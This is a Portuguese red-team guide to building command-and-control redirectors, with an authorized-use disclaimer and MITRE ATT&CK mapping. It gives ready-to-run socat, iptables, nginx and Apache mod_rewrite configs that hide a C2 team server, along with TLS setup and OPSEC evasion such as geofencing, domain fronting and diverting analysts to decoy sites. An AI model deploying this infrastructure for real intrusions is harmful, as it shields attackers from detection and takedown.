Construção de Infraestrutura de Redirecionador C2
Uso Autorizado Apenas: Este skill destina-se exclusivamente a engajamentos autorizados de red team, exercícios de simulação de adversários e pesquisa defensiva. A infraestrutura de comando e controle é de uso duplo; implantar redirecionadores para controlar malware em sistemas nos quais você não está explicitamente autorizado a testar é ilegal. Opere apenas dentro de um escopo acordado com um documento de regras de engajamento assinado e descomissione a infraestrutura quando o engajamento terminar.
Visão Geral
Um redirecionador C2 é um host intermediário que fica entre os implants da vítima e o servidor de equipe real. Os beacons se conectam ao domínio/IP público do redirecionador; o redirecionador inspeciona cada requisição e encaminha o tráfego C2 legítimo de volta ao servidor de equipe oculto, ou desvia todo o resto (scanners, analistas da equipe azul, sandboxes) para um site isca benigno. Isso protege o servidor de equipe de descoberta, derrubada e atribuição, e permite que os operadores rotacionem a borda pública sem reconstruir o backend. A técnica mapeia para MITRE ATT&CK T1090.002 (Proxy: External Proxy) — adversários roteiam C2 através de um nó intermediário para ocultar a verdadeira origem.
Os redirecionadores vêm em dois sabores. Dumb pipes (socat, iptables NAT) encaminham cegamente uma porta e fornecem separação, mas sem filtragem. Redirecionadores inteligentes/com filtro (nginx proxy_pass, Apache mod_rewrite com [P], ou ferramentas específicas como RedWarden) analisam requisições HTTP e encaminham apenas o tráfego que corresponde ao perfil Malleable C2 do implante — URI, User-Agent, cabeçalhos — enquanto enviam todo o resto com um 302 para um site real. A lógica de filtragem é derivada diretamente do perfil de tráfego da estrutura C2, portanto os dois devem permanecer sincronizados. Ferramentas como cs2modrewrite automatizam a geração de regras Apache/nginx a partir de um perfil Malleable C2 do Cobalt Strike.
Este skill cobre a construção de redirecionadores dumb e filtrantes com nginx e Apache, derivação de regras de filtro a partir de um perfil malleable, camada TLS com Let's Encrypt e aplicação de controles de OPSEC (domínios categorizados, domain fronting/CDN fronting, validação de cabeçalhos, filtragem geo/UA) para infraestrutura resiliente e de baixa atribuição.
Quando Usar
- Montar C2 de red team que deve sobreviver a triagem da equipe azul e solicitações de derrubada de domínio.
- Separar um servidor de equipe oculto de qualquer host com acesso à internet durante um engajamento.
- Filtrar tráfego de implantes para que apenas requisições que correspondam ao perfil alcancem o backend, desviando scanners.
- Adicionar terminação TLS, categorização de domínio e fronting CDN/domínio a um listener HTTP(S).
- Ensinar defensores como o C2 de proxy externo (T1090.002) é construído para que possam detectá-lo.
Pré-requisitos
- Uma ou mais instâncias VPS cloud descartáveis (a borda do redirecionador) e um host de servidor de equipe separado e com firewall.
- Um domínio registrado com DNS controlável, de preferência envelhecido/categorizado.
- Acesso root no host do redirecionador. Instale o servidor web e as ferramentas TLS:
# Redirecionador Debian/Ubuntu sudo apt update sudo apt install -y nginx apache2 socat certbot python3-certbot-nginx git # Habilite módulos de proxy do Apache se usar redirecionador mod_rewrite sudo a2enmod rewrite proxy proxy_http ssl headers - O perfil Malleable C2 da estrutura C2 (Cobalt Strike
.profile, perfil HTTP Sliver/Havoc) definindo URIs, User-Agent e cabeçalhos. cs2modrewritepara gerar regras automaticamente a partir de um perfil Cobalt Strike:git clone https://github.com/threatexpress/cs2modrewrite- Configure o firewall do servidor de equipe para aceitar apenas o IP do redirecionador na porta C2.
Objetivos
- Implantar um redirecionador dumb-pipe (socat/iptables) para separação rápida de portas.
- Implantar um redirecionador nginx reverse proxy filtrante vinculado a um perfil malleable.
- Implantar um redirecionador Apache
mod_rewritecom proxy[P]e fallback302para isca. - Gerar automaticamente regras de redirecionador a partir de um perfil Cobalt Strike com
cs2modrewrite. - Terminar TLS com Let's Encrypt e fortalecer a borda pública.
- Aplicar OPSEC: validação de cabeçalho/UA, filtragem geográfica, desvio para isca e rotação de infraestrutura.
Mapeamento MITRE ATT&CK
| ID da Técnica | Nome Oficial | Relevância |
|---|---|---|
| T1090.002 | Proxy: External Proxy | O redirecionador é um intermediário externo que faz proxy do C2 para ocultar o servidor de equipe |
| T1090.004 | Proxy: Domain Fronting | Fronting CDN roteia o tráfego do beacon através de um domínio confiável de alta reputação |
| T1071.001 | Application Layer Protocol: Web Protocols | O C2 é tunelado sobre HTTP/HTTPS moldado pelo perfil malleable |
| T1573.002 | Encrypted Channel: Asymmetric Cryptography | A terminação TLS no redirecionador criptografa o canal do beacon |
| T1583.006 | Acquire Infrastructure: Web Services | Bordas VPS/CDN descartáveis são adquiridas para C2 resiliente |
Fluxo de Trabalho
1. Prepare e configure o firewall do servidor de equipe
Coloque o servidor de equipe em um host privado. Restrinja sua porta C2 apenas ao IP do redirecionador.
# No servidor de equipe: apenas o redirecionador (203.0.113.10) pode acessar 443/tcp
sudo ufw default deny incoming
sudo ufw allow from 203.0.113.10 to any port 443 proto tcp
sudo ufw allow OpenSSH
sudo ufw enable
2. Redirecionador dumb-pipe (socat / iptables)
Para separação rápida sem filtragem, encaminhe a porta C2 para o servidor de equipe.
# Encaminhamento socat em foreground de 443 -> servidor de equipe
socat TCP4-LISTEN:443,fork,reuseaddr TCP4:10.0.0.2:443
# Ou iptables DNAT (persistente)
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 10.0.0.2:443
iptables -t nat -A POSTROUTING -p tcp -d 10.0.0.2 --dport 443 -j MASQUERADE
3. Redirecionador nginx reverse proxy filtrante
Encaminhe apenas requisições cuja URI corresponda ao perfil malleable; envie todo o resto com 302 para uma isca. Substitua a regex de localização e o User-Agent pelos valores do seu perfil.
# /etc/nginx/sites-available/redirector.conf
server {
listen 443 ssl;
server_name cdn.example.com;
ssl_certificate /etc/letsencrypt/live/cdn.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/cdn.example.com/privkey.pem;
# Faça proxy APENAS das URIs C2 que correspondem ao perfil para o servidor de equipe oculto
location ~ ^/(api/v2/jobs|cm/[a-z0-9]+|push) {
# Exija o User-Agent exato do implante
if ($http_user_agent != "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") {
return 302 https://www.legitimate-decoy.com/;
}
proxy_pass https://10.0.0.2;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
}
# Todo o resto -> isca benigna
location / {
return 302 https://www.legitimate-decoy.com/;
}
}
sudo ln -s /etc/nginx/sites-available/redirector.conf /etc/nginx/sites-enabled/
sudo nginx -t && sudo systemctl reload nginx
4. Redirecionador Apache mod_rewrite
A flag [P] do Apache encaminha requisições correspondentes para o servidor de equipe; não correspondências recebem um redirecionamento 302. Este é o formato que cs2modrewrite produz.
# /etc/apache2/sites-available/redirector.conf (dentro de <VirtualHost *:443>)
RewriteEngine On
SSLProxyEngine On
# Exija o User-Agent do implante
RewriteCond %{HTTP_USER_AGENT} "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" [NC]
# Corresponda às URIs C2 válidas (GET/POST/stager) do perfil malleable
RewriteCond %{REQUEST_URI} ^/(api/v2/jobs|cm/[a-z0-9]+|push)/?$
# Faça proxy para o servidor de equipe oculto, preservando a URI
RewriteRule ^.*$ https://10.0.0.2%{REQUEST_URI} [P,L]
# Todo o resto -> site isca
RewriteRule ^.*$ https://www.legitimate-decoy.com/ [R=302,L]
sudo a2ensite redirector && sudo apache2ctl configtest && sudo systemctl reload apache2
5. Gere regras a partir de um perfil malleable
Use cs2modrewrite para construir as regras Apache ou nginx diretamente do seu perfil Cobalt Strike, de modo que o filtro corresponda exatamente ao tráfego do beacon.
cd cs2modrewrite
# Regras Apache mod_rewrite
python3 cs2modrewrite.py -i havex.profile -c https://10.0.0.2 \
-r https://www.legitimate-decoy.com -o /etc/apache2/redirect.rules
# Configuração nginx
python3 cs2nginx.py -i havex.profile -c https://10.0.0.2 \
-r https://www.legitimate-decoy.com -H cdn.example.com > /etc/nginx/sites-available/c2.conf
6. Termine TLS com Let's Encrypt
Emita um certificado válido para que o HTTPS do beacon não gere avisos TLS e a borda pareça legítima.
sudo certbot --nginx -d cdn.example.com --agree-tos -m [email protected] --redirect
# Verifique a renovação automática
sudo certbot renew --dry-run
7. Aplique controles de OPSEC
Adicione camadas de defesa contra análise da equipe azul: valide cabeçalhos, restrinja geograficamente ao país alvo, desvie sandboxes e rotacione bordas. Considere fronting CDN/domínio (T1090.004) quando suportado.
# Exemplo: descarte geografias não alvo no firewall com ipset/GeoIP,
# exija um cabeçalho de autenticação personalizado no perfil e rotacione o domínio/IP
# do redirecionador em um cronograma. Verifique se o redirecionador encaminha apenas tráfego correspondente:
curl -k https://cdn.example.com/ # espere 302 para isca
curl -k -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
https://cdn.example.com/api/v2/jobs # espere resposta encaminhada
Ferramentas e Recursos
| Ferramenta | Propósito | Fonte |
|---|---|---|
| nginx | Redirecionador reverse proxy filtrante | https://nginx.org/ |
| Apache mod_rewrite | Proxy [P] + redirecionador isca 302 | https://httpd.apache.org/docs/current/mod/mod_rewrite.html |
| cs2modrewrite | Gera regras Apache/nginx a partir de perfil CS | https://github.com/threatexpress/cs2modrewrite |
| RedWarden | Reverse proxy C2 filtrante consciente de Malleable | https://github.com/mgeeky/RedWarden |
| redi | Redirecionador CS automatizado nginx + Let's Encrypt | https://github.com/taherio/redi |
| socat | Encaminhador TCP dumb-pipe | http://www.dest-unreach.org/socat/ |
| Let's Encrypt / certbot | Certificados TLS gratuitos | https://certbot.eff.org/ |
| ired.team | Referência de infraestrutura de red team | https://www.ired.team/offensive-security/red-team-infrastructure |
Critérios de Validação
- Servidor de equipe com firewall configurado para aceitar apenas o IP de origem do redirecionador na porta C2.
- Redirecionador implantado (dumb pipe e/ou reverse proxy filtrante).
- Regras de filtro derivadas do perfil Malleable C2 real (URI + User-Agent + cabeçalhos).
- Requisições não correspondentes retornam
302para um site isca benigno (verificado com curl). - Requisições de beacon correspondentes são encaminhadas ao servidor de equipe oculto (verificado com curl).
- Certificado TLS válido emitido e renovação automática confirmada.
- Controles de OPSEC aplicados (validação de UA/cabeçalho, geofencing, desvio para isca).
- Categorização de domínio/fronting CDN considerados quando aplicável.
- Plano de rotação e descomissionamento de infraestrutura documentado.
- Toda atividade confinada ao escopo de engajamento autorizado.